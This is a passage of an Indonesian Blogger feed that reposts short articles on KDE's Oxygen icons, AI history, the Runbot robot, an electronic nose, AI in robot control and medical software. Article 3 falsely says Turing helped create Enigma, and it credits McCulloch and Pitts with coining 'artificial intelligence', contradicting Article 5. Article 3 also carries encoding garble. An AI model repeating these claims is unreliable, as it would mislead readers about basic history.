pekerjaan rumahnya, namun nyatanya masih banyak tertinggal yang harus dilengkapi atau disempurnakan. Untuk membangun elemen-elemen grafis digunakan format Vektor SVG yang didukung dan merupakan bagian dari Qt 4. Dalam mencipatakan icon-icon diperdayakan program-program sumber terbuka seperti Inkscape dan lainnya.&lt;br /&gt;&lt;br /&gt;Oxygen mengumandangkan slogan “Udara segar untuk Desktop” tepat apa yang dibutuhkan generasi baru KDE 4 sebagai basis disain standarnya. Dibalik proyek Oxygen didukung sebuah tim yang terdiri dari pengembang dan seniman yang berkolaborasi mencipatakan karya seni agar secara keseluruhannya cantik, funsional dan serasi tapi juga tipikal. Sebagai contoh, misalnya semua icon yang tampil di toolbar secara konsisten memiliki bayangan yang sama. Setiap warna yang digunakan diambil dari palet yang sudah dibakukan untuk menjamin setiap warna serasi diantara warna yang lainnya.&lt;br /&gt;&lt;br /&gt;Skema pemberian nama yang juga dibenahi antara lain dengan melibatkan tim Oxygen agar mematuhi prosedur yang digariskan freedesktop.org. Dengan demikian KDE, GNOME dan lingkungan Desktop lainnya, nantinya menggunakan terminologi yang sama memudahkan pengguna berinteraksi dengan desktop dari lingkungan berbeda. Icon Crystal yang saat ini banyak digunakan, nantinya disingkirakn dari pustaka KDE namun tetap tersedia sebagai paket khusus terpisah bagi mereka yang masih ingin menggunakannya.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-415147295683212405?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/415147295683212405/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=415147295683212405' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/415147295683212405'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/415147295683212405'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/11/hci-artikel-1.html' title='HCI Artikel 1'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_eTjLkcqj9WM/RysEtyIob6I/AAAAAAAAAEA/fM_9u9Pcrls/s72-c/what_hci.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-1786701464206558172</id><published>2007-11-02T03:50:00.000-07:00</published><updated>2007-11-02T03:56:06.016-07:00</updated><title type='text'></title><content type='html'>&lt;span style="font-size:130%;"&gt;&lt;strong&gt;&lt;span style="color:#ff0000;"&gt;(Artikel 5)Sejarah Kecerdasan Buatan&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://4.bp.blogspot.com/_eTjLkcqj9WM/RysCJiIob4I/AAAAAAAAADw/xjNP4pVRbPQ/s320/pe-trinil.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5128194963496529794" /&gt;&lt;br /&gt;&lt;br /&gt;Pada awal abad 17, René Descartes mengemukakan bahwa tubuh hewan bukanlah apa-apa melainkan hanya mesin-mesin yang rumit. Blaise Pascal menciptakan mesin penghitung digital mekanis pertama pada 1642. Pada 19, Charles Babbage dan Ada Lovelace bekerja pada mesin penghitung mekanis yang dapat diprogram.&lt;br /&gt;Bertrand Russell dan Alfred North Whitehead menerbitkan Principia Mathematica, yang merombak logika formal. Warren McCulloch dan Walter Pitts menerbitkan “Kalkulus Logis Gagasan yang tetap ada dalam Aktivitas ” pada 1943 yang meletakkan pondasi untuk jaringan syaraf.&lt;br /&gt;Tahun 1950-an adalah periode usaha aktif dalam AI. Program AI pertama yang bekerja ditulis pada 1951 untuk menjalankan mesin Ferranti Mark I di University of Manchester (UK): sebuah program permainan naskah yang ditulis oleh Christopher Strachey dan program permainan catur yang ditulis oleh Dietrich Prinz. John McCarthy membuat istilah “kecerdasan buatan ” pada konferensi pertama yang disediakan untuk pokok persoalan ini, pada 1956. Dia juga menemukan bahasa pemrograman Lisp. Alan Turing memperkenalkan “Turing test” sebagai sebuah cara untuk mengoperasionalkan test perilaku cerdas. Joseph Weizenbaum membangun ELIZA, sebuah chatterbot yang menerapkan psikoterapi Rogerian.&lt;br /&gt;Selama tahun 1960-an dan 1970-an, Joel Moses mendemonstrasikan kekuatan pertimbangan simbolis untuk mengintegrasikan masalah di dalam program Macsyma, program berbasis pengetahuan yang sukses pertama kali dalam bidang matematika. Marvin Minsky dan Seymour Papert menerbitkan Perceptrons, yang mendemostrasikan batas jaringan syaraf sederhana dan Alain Colmerauer mengembangkan bahasa komputer Prolog. Ted Shortliffe mendemonstrasikan kekuatan sistem berbasis aturan untuk representasi pengetahuan dan inferensi dalam diagnosa dan terapi medis yang kadangkala disebut sebagai sistem pakar pertama. Hans Moravec mengembangkan kendaraan terkendali komputer pertama untuk mengatasi jalan berintang yang kusut secara mandiri.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-1786701464206558172?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/1786701464206558172/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=1786701464206558172' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/1786701464206558172'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/1786701464206558172'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/11/artikel-5sejarah-kecerdasan-buatan-pada.html' title=''/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_eTjLkcqj9WM/RysCJiIob4I/AAAAAAAAADw/xjNP4pVRbPQ/s72-c/pe-trinil.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-3752198748537299631</id><published>2007-11-02T03:45:00.000-07:00</published><updated>2007-11-02T03:49:26.688-07:00</updated><title type='text'>Teori Otak Dengkul Bikin Robot Jalan Cepat</title><content type='html'>&lt;span style="font-size:130%;"&gt;&lt;strong&gt;&lt;span style="color:#ff0000;"&gt;(Artikel 4)Teori Otak Dengkul Bikin Robot Jalan Cepat&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://1.bp.blogspot.com/_eTjLkcqj9WM/RysAeyIob3I/AAAAAAAAADo/wtW1KefMeC0/s320/robot1.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5128193129545494386" /&gt;&lt;br /&gt;&lt;br /&gt;Ilmuwan di Jerman berhasil menemukan cara untuk membuat robot berjalan mirip manusia. Bukan hanya mirip, robot ini pun bisa berjalan cepat dibandingkan robot serupa yang sudah ada.&lt;br /&gt;Robot itu bernama Runbot, sebuah robot berkaki dua berukuran kecil yang bisa bergerak sejarak tiga kali panjang kakinya dalam satu detik. Ini hanya sedikit lebih lambat dari kecepatan manusia saat berjalan dengan cepat.&lt;br /&gt;Robot ini menggunakan teori 'otak dengkul' yang dikemukakan pertama kali oleh NIkolai Bernstein pada era 1930-an. Teori itu pada intinya mengemukakan bahwa otak manusia (yang ada di kepala) tidak melulu memproses cara berjalan.&lt;br /&gt;Otak, ujar Bernstein, hanya bekerja saat berjalan dari satu permukaan ke permukaan lain, misalnya dari lantai ke rumput, atau saat permukaan tidak rata. Selebihnya, kemampuan berjalan ditangani oleh 'otak' alias syaraf-syaraf di tulang punggung dan kaki, termasuk di dengkul.&lt;br /&gt;Dengan menerapkan teori tersebut, Profesor Florentin Woergoetter dan tim dari Universitas Gottingen, Jerman, berhasil membuat Runbot. Tim Woergoetter mencakup ilmuwan dari berbagai latar belakang, termasuk Poramate Manoonpong, Tao Geng, Tomas Kulvicius dan Bernd Porr.&lt;br /&gt;Bukan Robot Kikuk&lt;br /&gt;Saat berjalan menuju sebuah tanjakan, Woergoetter mengatakan, 'otak dengkul' Runbot akan menganggap tidak ada masalah. Namun ketika tubuh Runbot terjatuh karena gaya gravitasi menariknya ke belakang sistem 'otak atas' Runbot akan mendeteksinya dan melakukan perubahan.&lt;br /&gt;Selanjutnya, ujar Woergoetter, perubahan itu akan diterapkan ke 'otak dengkul' sehingga 'otak atas' tak perlu terus menerus melakukan proses. "Sulitnya pada robot, adalah menerapkan gerakan pada waktu yang tepat --dalam hitungan milidetik-- agar tidak jatuh," paparnya.&lt;br /&gt;Runbot memiliki cara jalan yang berbeda dengan robot populer seperti Asimo, atau sejenisnya. "Robot-robot itu adalah pejalan kinematis, mereka berjalan selangkah demi selangkah dan memperhitungkan setiap sudut setiap milidetik," ia menjelaskan.&lt;br /&gt;Melalui teknologi kecerdasan buatan dan rekayasa robotika, Woergoetter mengatakan proses rumit itu memang bisa dilakukan. "Namun sangat kikuk. Manusia tidak berjalan seperti itu. Mesin-mesin besar itu menghentak bagai robot, kami mau membuat robot yang berjalan seperti manusia," ujarnya.&lt;br /&gt;Saat ini tim tersebut sedang memikirkan bagaimana menerapkan Runbot untuk membuat robot yang berukuran lebih besar. Runbot juga akan dikembangkan agar reaksinya lebih cepat dan lebih adaptif.&lt;br /&gt;&lt;br /&gt;Diposting oleh alfa_zR di 06:31 0 komentar Link ke posting ini&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PENCIUMAN ELEKTRONIK INGIN MENGGESER HIDUNG&lt;br /&gt;&lt;br /&gt;Sebagai indera penciuman, hidung sanggup membaui ribuan aroma yang berbeda. Mulai dari aroma makanan lezat, harumnya mawar, hingga bau tak sedap. Bisakah peran besar organ penciuman itu diambil alih oleh alat pencium buatan atau sejenisnya? Laboratorium Kecerdasan Komputasional, Fakultas Ilmu Komputer Universitas Indonesia, telah merancang tiruan hidung&lt;br /&gt;Foto: Dok. Wisnu Jatmiko&lt;br /&gt;&lt;br /&gt;Perangkat sistem penciuman elektronik buatan Wisnu.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sebenarnya, tidak gampang merancang sistem penciuman buatan. Pasalnya, hidung yang sarat dengan saraf penciuman itu tergolong organ paling sulit untuk dibuat tiruannya, setelah organ perasa alias lidah. Ini diakui oleh Benyamin Kusumoputro, Ph.D., Kepala Laboratorium Kecerdasan Komputasional Fakultas Ilmu Komputer Universitas Indonesia di Depok.&lt;br /&gt;&lt;br /&gt;Meskipun demikian bukan berarti tidak mungkin ditiru. Bisa saja, hanya belum mampu menyamai 100% peran hidung beneran. Maklum, saraf sistem penciuman manusia memang ajaib, sanggup membedakan puluhan ribu aroma berbeda. Lagi pula mekanisme sistem penciuman dari sono-nya amat efektif dalam memilah dan membedakan perlagai aroma. Ibaratnya, bisa mendeteksi satu molekul aroma di antara puluhan ribu molekul di udara!&lt;br /&gt;&lt;br /&gt;Apa pun wujud rancangan sistem hidung elektronik itu, yang pasti tersimpan tujuan mulia. Yakni untuk mendeteksi dan mengklasifikasikan aroma secara otomatis. Sadar atau tidak, tersembunyi juga keinginan menggeser peran hidung sebagai pengontrol kualitas dalam industri yang membutuhkan pengenalan aroma, terutama industri minuman, kosmetik, dan minyak wangi.&lt;br /&gt;Ini bukan berarti meremehkan indera penciuman kita sendiri. Masalahnya, sistem penciuman kita amat dipengaruhi kondisi perasaan sesaat dan kesehatan. Artinya, ketelitian dan kontrol kualitas pengenalan aroma bisa terpengaruh. Belum lagi kalau petugas kontrol kualitas aroma mendadak terserang pilek, bisa-bisa indera penciumannya tidak berfungsi dengan baik.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-3752198748537299631?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/3752198748537299631/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=3752198748537299631' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/3752198748537299631'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/3752198748537299631'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/11/teori-otak-dengkul-bikin-robot-jalan.html' title='Teori Otak Dengkul Bikin Robot Jalan Cepat'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_eTjLkcqj9WM/RysAeyIob3I/AAAAAAAAADo/wtW1KefMeC0/s72-c/robot1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-8829258853539471275</id><published>2007-11-02T03:39:00.000-07:00</published><updated>2007-11-02T03:44:30.598-07:00</updated><title type='text'>KECERDASAN BUATAN ROBOTIK</title><content type='html'>&lt;span style="font-size:130%;"&gt;&lt;strong&gt;&lt;span style="color:#ff0000;"&gt;(Artikel 3 )KECERDASAN BUATAN DALAM ROBOTIK&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://2.bp.blogspot.com/_eTjLkcqj9WM/Ryr_ZSIob2I/AAAAAAAAADg/jmeffz1o-p0/s320/200px-Toyota_Robot_at_Toyota_Kaikan.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5128191935544586082" /&gt;&lt;br /&gt;&lt;br /&gt;Kecerdasan Buatan (Artificial Intelligence) dalam robotik adalah suatu algorithma (yang dipandang) cerdas yang diprogramkan ke dalam kontroler robot. Pengertian cerdas di sini sangat relatif, karena tergantung dari sisi mana sesorang memandang.&lt;br /&gt;&lt;br /&gt;Para filsuf diketahui telah mulai ribuan tahun yang lalu mencoba untuk memahami dua pertanyaan mendasar: bagaimanakah pikiran manusia itu bekerja, dan, dapatkah yang bukan-manusia itu berpikir? (Negnevitsky, 2004). Hingga sekarang, tak satupun mampu menjawab dengan tepat dua pertanyaan ini. Pernyataan cerdas yang pada dasarnya digunakan untuk mengukur kemampuan berpikir manusia selalu menjadi perbincangan menarik karena yang melakukan penilaian cerdas atau tidak adalah juga manusia. Sementara itu, manusia tetap bercita-cita untuk menularkan ï¿½kecerdasan manusiaï¿½ kepada mesin.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Dalam literatur, orang pertama yang dianggap sebagai pionir dalam mengembangkan mesin cerdas (intelligence machine) adalah Alan Turing, sorang matematikawan asal Inggris yang memulai karir saintifiknya di awal tahun 1930-an. Di tahun 1937 ia menulis paper tentang konsep mesin universal (universal machine). Kemudian, selama perang dunia ke-2 ia dikenal sebagai pemain kunci dalam penciptaan Enigma, sebuah mesin encoding milik militer Jerman. Setelah perang, Turing membuat ï¿½automatic computing engineï¿½. Ia dikenal juga sebagai pencipta pertama program komputer untuk bermain catur, yang kemudian program ini dikembangkan dan dimainkan di komputer milik Manchester University. Karya-karyanya ini, yang kemudian dikenal sebagai Turing Machine, dewasa ini masih dapat ditemukan aplikasi-aplikasinya. Beberapa tulisannya yang berkaitan dengan prediksi perkembangan komputer di masa datang akhirnya juga ada yang terbukti. Misalnya tentang ramalannya bahwa di tahun 2000-an komputer akan mampu melakukan percakapan dengan manusia. Meski tidak ditemukan dalam paper-papernya tentang istilah ï¿½resmiï¿½: artificial intelligence, namun para peneliti di bidang ini sepakat untuk menobatkan Turing sebagai orang pertama yang mengembangkan kecerdasan buatan.&lt;br /&gt;&lt;br /&gt;Secara saintifik, istilah kecerdasan buatan ï¿½ untuk selanjutnya disebut sebagai AI (artificial intelligence) ï¿½ pertama kali diperkenalkan oleh Warren McCulloch, seorang filsuf dan ahli perobatan dari Columbia University, dan Walter Pitts, seorang matematikawan muda pada tahun 1943, (Negnevitsky, 2004). Mereka mengajukan suatu teori tentang jaringan saraf tiruan (artificial neural network, ANN) ï¿½ untuk selanjutnya disebut sebagai ANN ï¿½ bahwa setiap neuron dapat dipostulasikan dalam dua keadaan biner, yaitu ON dan OFF. Mereka mencoba menstimulasi model neuron ini secara teori dan eksperimen di laboratorium. Dari percobaan, telah didemonstrasikan bahwa model jaringan saraf yang mereka ajukan mempunyai kemiripan dengan mesin Turing, dan setiap fungsi perhitungan dapat dapat diselesaikan melalui jaringan neuron yang mereka modelkan.&lt;br /&gt;&lt;br /&gt;Kendati mereka meraih sukses dalam pembuktian aplikasinya, pada akhirnya melalui eksperimen lanjut diketahui bahwa model ON-OFF pada ANN yang mereka ajukan adalah kurang tepat. Kenyataannya, neuron memiliki karakteristik yang sangat nonlinear yang tidak hanya memiliki keadaan ON-OFF saja dalam aktifitasnya. Walau demikian, McCulloch akhirnya dikenal sebagai orang kedua setelah Turing yang gigih mendalami bidang kecerdasan buatan dan rekayasa mesin cerdas. Perkembangan ANN sempat mengalami masa redup pada tahun 1970-an. Baru kemudian pada pertengahan 1980-an ide ini kembali banyak dikaji oleh para peneliti.&lt;br /&gt;&lt;br /&gt;Sementara itu, metoda lain dalam AI yang sama terkenalnya dengan ANN adalah Fuzzy Logic (FL) ï¿½ untuk selanjutnya ditulis sebagai FL. Kalau ANN didisain berdasarkan kajian cara otak biologis manusia bekerja (dari dalam), maka FL justru merupakan representasi dari cara berfikir manusia yang nampak dari sisi luar. Jika ANN dibuat berdasarkan model biologis teoritis, maka FL dibuat berdasarkan model pragmatis praktis. FL adalah representasi logika berpikir manusia yang tertuang dalam bentuk kata-kata.&lt;br /&gt;&lt;br /&gt;Kajian saintifik pertama tentang logika berfikir manusia ini dipublikasikan oleh Lukazewicz, seorang filsuf, sekitar tahun 1930-an. Ia mengajukan beberapa representasi matematik tentang ï¿½kekaburanï¿½ (fuzziness) logika ketika manusia mengungkapkan atau menyatakan penilaian terhadap tinggi, tua dan panas (tall, old, &amp;amp; hot). Jika logika klasik hanya menyatakan 1 atau 0, ya atau tidak, maka ia mencoba mengembangkan pernyataan ini dengan menambahkan faktor kepercayaan (truth value) di antara 0 dan 1.&lt;br /&gt;&lt;br /&gt;Di tahun 1965, Lotfi Zadeh, seorang profesor di University of California, Berkeley US, mempublikasikan papernya yang terkenal, ï¿½Fuzzy Setsï¿½. Penelitian-penelitian tentang FL dan fuzzy system dalam AI yang berkembang dewasa ini hampir selalu menyebutkan paper Zadeh itulah sebagai basis pijakannya. Ia mampu menjabarkan FL dengan pernyataan matematik dan visual yang relatif mudah untuk dipahami. Karena basis kajian FL ini kental berkaitan dengan sistem kontrol (Zadeh adalah profesor di bidang teknik elektro) maka pernyataan matematiknya banyak dikembangkan dalam konteks pemrograman komputer.&lt;br /&gt;&lt;br /&gt;Metoda AI lain yang juga berkembang adalah algorithma genetik (genetic algorithm, GA) ï¿½ untuk selanjutnya disebut sebagai GA. Dalam pemrograman komputer, aplikasi GA ini dikenal sebagai pemrograman berbasis teori evolusi (evolutionary computation, EC) ï¿½ untuk selanjutnya disebut sebagai EC. Konsep EC ini dipublikasikan pertama kali oleh Holland (1975). Ia mengajukan konsep pemrograman berbasis GA yang diilhami oleh teori Darwin. Intinya, alam (nature), seperti manusia, memiliki kemampuan adaptasi dan pembelajaran alami ï¿½tanpa perlu dinyatakan: apa yang harus dilakukanï¿½. Dengan kata lain, alam memilih ï¿½kromosom yang baikï¿½ secara ï¿½butaï¿½/alami. Seperti pada ANN, kajian GA juga pernah mengalami masa vakum sebelum akhirnya banyak peneliti memfokuskan kembali perhatiannya pada teori EC.&lt;br /&gt;&lt;br /&gt;GA pada dasarnya terdiri dari dua macam mekanisme, yaitu encoding dan evaluation. Davis (1991) mempublikasikan papernya yang berisi tentang beberapa metoda encoding. Dari berbagai literatur diketahui bahwa tidak ada metoda encoding yang mampu menyelesaikan semua permasalahan dengan sama baiknya. Namun demikian, banyak peneliti yang menggunakan metoda bit string dalam kajian-kajian EC dewasa ini.&lt;br /&gt;&lt;br /&gt;Aplikasi AI dalam kontrol robotik dapat diilustrasikan sebagai berikut,&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Gambar 4.1: Kontrol robot loop tertutup berbasis AI&lt;br /&gt;&lt;br /&gt;Penggunaan AI dalam kontroler dilakukan untuk mendapatkan sifat dinamik kontroler ï¿½secara cerdasï¿½. Seperti telah dijelaskan di muka, secara klasik, kontrol P, I, D atau kombinasi, tidak dapat melakukan adaptasi terhadap perubahan dinamik sistem selama operasi karena parameter P, I dan D itu secara teoritis hanya mampu memberikan efek kontrol terbaik pada kondisi sistem yang sama ketika parameter tersebut di-tune. Di sinilah kemudian dikatakan bahwa kontrol klasik ini ï¿½belum cerdasï¿½ karena belum mampu mengakomodasi sifat-sifat nonlinieritas atau perubahan-perubahan dinamik, baik pada sistem robot itu sendiri maupun terhadap perubahan beban atau gangguan lingkungan.&lt;br /&gt;&lt;br /&gt;Banyak kajian tentang bagaimana membuat P, I dan D menjadi dinamis, seperti misalnya kontrol adaptif, namun di sini hanya akan dibahas tentang rekayasa bagaimana membuat sistem kontrol bersifat ï¿½cerdasï¿½ melalui pendekatan-pendekatan AI yang populer, seperti ANN, FL dan EC atau GA.&lt;br /&gt;&lt;br /&gt;Gambar 4.1 mengilustrasikan tentang skema AI yang digunakan secara langsung sebagai kontroler sistem robot. Dalam aplikasi lain, AI juga dapat digunakan untuk membantu proses identifikasi model dari sistem robot, model lingkungan atau gangguan, model dari tugas robot (task) seperti membuat rencana trajektori, dan sebagainya. Dalam hal ini konsep AI tidak digunakan secara langsung (direct) ke dalam kontroler, namun lebih bersifat tak langsung (indirect).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-8829258853539471275?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/8829258853539471275/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=8829258853539471275' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/8829258853539471275'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/8829258853539471275'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/11/kecerdasan-buatan-robotik.html' title='KECERDASAN BUATAN ROBOTIK'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_eTjLkcqj9WM/Ryr_ZSIob2I/AAAAAAAAADg/jmeffz1o-p0/s72-c/200px-Toyota_Robot_at_Toyota_Kaikan.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-3483928886422183657</id><published>2007-11-02T03:35:00.000-07:00</published><updated>2007-11-02T03:36:11.475-07:00</updated><title type='text'></title><content type='html'>&lt;span style="color:#ff0000;"&gt;&lt;span style="font-size:130%;"&gt;&lt;strong&gt;(Artikel 2)KECERDASAN BUATAN UNTUK   KESEHATAN GINJAL PASIEN&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://2.bp.blogspot.com/_eTjLkcqj9WM/Ryr8wSIob1I/AAAAAAAAADY/omhHnJ-cKYE/s320/bioinformatika.gif" border="0" alt="" id="BLOGGER_PHOTO_ID_5128189032146693970" /&gt;&lt;br /&gt;&lt;br /&gt;PENGEMBANGAN PERANGKAT LUNAK BERBASIS&lt;br /&gt;KECERDASAN BUATAN UNTUK ANALISIS KONDISI GINJAL PASIEN.&lt;br /&gt;Pengembangan perangkat lunak berbasis kecerdasan buatan untuk menganalisis&lt;br /&gt;dan memprediksi data keluaran renograf dual probe (BI-756) telah dilakukan&lt;br /&gt;dengan baik. Renograf dual probe (BI-756) adalah perangkat medis hasil rekayasa&lt;br /&gt;desain dan pabrikasi BATAN. Bantuan dokter ahli yang berpengalaman sangat&lt;br /&gt;dibutuhkan untuk menganalisis kondisi ginjal pasien dengan tepat. Karena&lt;br /&gt;keberadaan dokter ahli yang berpengalaman di bidang analisis ginjal sangat&lt;br /&gt;terbatas, masalah ini bisa diatasi dengan menyediakan suatu sistem perangkat&lt;br /&gt;lunak berbasis kecerdasan buatan yang memiliki pengetahuan dan analisis&lt;br /&gt;komprehensif dari dokter ahli yang berpengalaman. Tujuan penelitian adalah&lt;br /&gt;mengembangkan perangkat lunak yang dapat menganalisis kondisi ginjal pasien&lt;br /&gt;dengan tepat. Perangkat lunak yang dikembangkan mampu memprediksi kondisi&lt;br /&gt;ginjal pasien dengan tepat. Data masukan perangkat lunak yang dikembangkan&lt;br /&gt;adalah data keluaran digital dari renograf dual probe (BI-756). Perangkat lunak&lt;br /&gt;telah diujikan terhadap data pasien yang sesungguhnya dan kemampuan&lt;br /&gt;identifikasi 98 % diperoleh dari 618 data uji. Hasil ini menunjukkan bahwa&lt;br /&gt;perangkat lunak memiliki kemampuan baik dimana hanya dilatih dengan 6 data&lt;br /&gt;saja.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-3483928886422183657?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/3483928886422183657/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=3483928886422183657' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/3483928886422183657'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/3483928886422183657'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/11/artikel-2kecerdasan-buatan-untuk.html' title=''/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_eTjLkcqj9WM/Ryr8wSIob1I/AAAAAAAAADY/omhHnJ-cKYE/s72-c/bioinformatika.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-7970304798329150376</id><published>2007-11-02T03:24:00.000-07:00</published><updated>2007-11-02T03:28:40.147-07:00</updated><title type='text'>Kecerdasan Buatan</title><content type='html'>&lt;span style="color:#ff0000;"&gt;&lt;strong&gt;&lt;span style="font-size:130%;"&gt;(Artikel 1)Kecerdasan Buatan 3&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://3.bp.blogspot.com/_eTjLkcqj9WM/Ryr7wiIob0I/AAAAAAAAADQ/4UdIdy1bFJc/s320/lonefaction_sshot_lrg1.gif" border="0" alt="" id="BLOGGER_PHOTO_ID_5128187936930033474" /&gt;&lt;br /&gt;&lt;br /&gt;Angkatan Udara AS (USAF) kini tengah m,engembangkan sistem kendali penerbangan untuk pesawat militer dan rudal dengan kecerdasan buatan atau artificial intelligence. Tujuannya adalah membantu kestabilan terbang pada saat-saat krisis, sehingga pilot lebih mudah dalam mengatasi kerusakan pada pesawat serta mengurangi kemungkinan jatuhnya korban. Sistem pengendalian yang didasarkan pada jejaring teknologi neural ini dikembangkan bersama dengan Georgia Institute of Technology di Atlanta. Sistem ini sekarang telah siap untuk diuji-cobakan pada beberapa jenis pesawat tak berawak USAF, seperti UCV atau pesawat tempur tanpa awak serta pesawat angkasa VentureStar. UCV adalah proyek dari badan riset USAF untuk membuktikan kemungkinan pemakaian pesawat tak berawak untuk melakukan serangan udara. Menurut USAF, sistem neural untuk kendali penerbangan ini menawarkan kestabilan yang nyaris sempurna dan langsung pada saat timbul kerusakan atau kegagalan pada sistem kendali konvensional. Sistem itu secara otomatis juga menyesuaikan diri dengan perubahan lingkungannya, seperti berat pesawat, kerusakan sayap dan sebagainya. Pengembangan sistem ini telah dimulai sejak 1996, dan sampai tahun lalu telah menghabiskan biaya 2,5 juta dollar.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-7970304798329150376?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/7970304798329150376/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' 